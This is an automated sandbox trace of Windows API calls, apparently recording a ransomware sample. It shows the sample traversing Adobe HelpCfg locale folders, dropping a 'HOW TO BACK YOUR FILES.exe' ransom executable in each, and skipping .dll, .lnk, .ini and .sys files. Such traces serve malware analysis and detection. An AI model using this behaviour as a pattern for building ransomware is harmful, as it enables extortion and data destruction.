	[0056.462] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.462] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.462] lstrlenW (lpString="Apollon865") returned 10
	[0056.462] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.462] lstrlenW (lpString=".dll") returned 4
	[0056.462] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.462] lstrlenW (lpString=".lnk") returned 4
	[0056.462] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.462] lstrlenW (lpString=".ini") returned 4
	[0056.462] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.462] lstrlenW (lpString=".sys") returned 4
	[0056.462] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.462] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.462] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE"
	[0056.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b4d8 | out: hHeap=0x580000) returned 1
	[0056.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0056.462] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned 55
	[0056.462] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE"
	[0056.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.468] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.468] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ba8410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ba8410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.468] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.468] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.468] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.468] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.468] lstrlenW (lpString="Apollon865") returned 10
	[0056.468] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.468] lstrlenW (lpString=".dll") returned 4
	[0056.468] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.468] lstrlenW (lpString=".lnk") returned 4
	[0056.468] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.469] lstrlenW (lpString=".ini") returned 4
	[0056.469] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.469] lstrlenW (lpString=".sys") returned 4
	[0056.469] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.469] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.469] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI"
	[0056.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b460 | out: hHeap=0x580000) returned 1
	[0056.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0056.469] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned 55
	[0056.469] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI"
	[0056.469] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.474] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.474] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ba8410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ba8410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.474] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.474] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.475] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.475] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.475] lstrlenW (lpString="Apollon865") returned 10
	[0056.475] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.475] lstrlenW (lpString=".dll") returned 4
	[0056.475] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.475] lstrlenW (lpString=".lnk") returned 4
	[0056.475] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.475] lstrlenW (lpString=".ini") returned 4
	[0056.475] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.475] lstrlenW (lpString=".sys") returned 4
	[0056.475] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.475] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.475] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK"
	[0056.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b3e8 | out: hHeap=0x580000) returned 1
	[0056.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0056.475] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned 55
	[0056.475] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK"
	[0056.475] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.479] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.479] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39bce570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39bce570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.479] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.479] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.479] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.479] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.479] lstrlenW (lpString="Apollon865") returned 10
	[0056.480] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.480] lstrlenW (lpString=".dll") returned 4
	[0056.480] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.480] lstrlenW (lpString=".lnk") returned 4
	[0056.480] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.480] lstrlenW (lpString=".ini") returned 4
	[0056.480] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.480] lstrlenW (lpString=".sys") returned 4
	[0056.480] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.480] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.480] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU"
	[0056.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b370 | out: hHeap=0x580000) returned 1
	[0056.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0056.480] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned 55
	[0056.480] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU"
	[0056.480] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.485] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.485] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39bce570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39bce570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.486] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.486] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.486] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.486] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.486] lstrlenW (lpString="Apollon865") returned 10
	[0056.486] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.486] lstrlenW (lpString=".dll") returned 4
	[0056.486] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.486] lstrlenW (lpString=".lnk") returned 4
	[0056.486] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.486] lstrlenW (lpString=".ini") returned 4
	[0056.486] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.486] lstrlenW (lpString=".sys") returned 4
	[0056.486] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.486] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.486] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO"
	[0056.486] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b2f8 | out: hHeap=0x580000) returned 1
	[0056.486] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0056.486] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned 55
	[0056.486] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO"
	[0056.486] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.486] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.490] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.491] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39bce570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39bce570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.491] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.491] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.491] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.491] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.491] lstrlenW (lpString="Apollon865") returned 10
	[0056.491] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.491] lstrlenW (lpString=".dll") returned 4
	[0056.491] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.491] lstrlenW (lpString=".lnk") returned 4
	[0056.491] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.491] lstrlenW (lpString=".ini") returned 4
	[0056.491] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.491] lstrlenW (lpString=".sys") returned 4
	[0056.491] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.491] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.491] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR"
	[0056.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b280 | out: hHeap=0x580000) returned 1
	[0056.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0056.491] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned 55
	[0056.491] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR"
	[0056.491] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.497] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39bf46d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39bf46d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.497] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.497] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.497] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.497] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.497] lstrlenW (lpString="Apollon865") returned 10
	[0056.497] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.497] lstrlenW (lpString=".dll") returned 4
	[0056.497] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.497] lstrlenW (lpString=".lnk") returned 4
	[0056.497] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.497] lstrlenW (lpString=".ini") returned 4
	[0056.497] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.497] lstrlenW (lpString=".sys") returned 4
	[0056.497] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.497] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.498] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL"
	[0056.498] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b208 | out: hHeap=0x580000) returned 1
	[0056.498] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0056.498] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned 55
	[0056.498] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL"
	[0056.498] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.498] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.506] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39bf46d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39bf46d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.506] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.506] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.506] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.506] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.506] lstrlenW (lpString="Apollon865") returned 10
	[0056.506] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.506] lstrlenW (lpString=".dll") returned 4
	[0056.506] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.506] lstrlenW (lpString=".lnk") returned 4
	[0056.506] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.506] lstrlenW (lpString=".ini") returned 4
	[0056.506] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.506] lstrlenW (lpString=".sys") returned 4
	[0056.506] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.506] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.506] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL"
	[0056.506] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b190 | out: hHeap=0x580000) returned 1
	[0056.506] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0056.506] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned 55
	[0056.506] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL"
	[0056.507] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.507] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.512] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
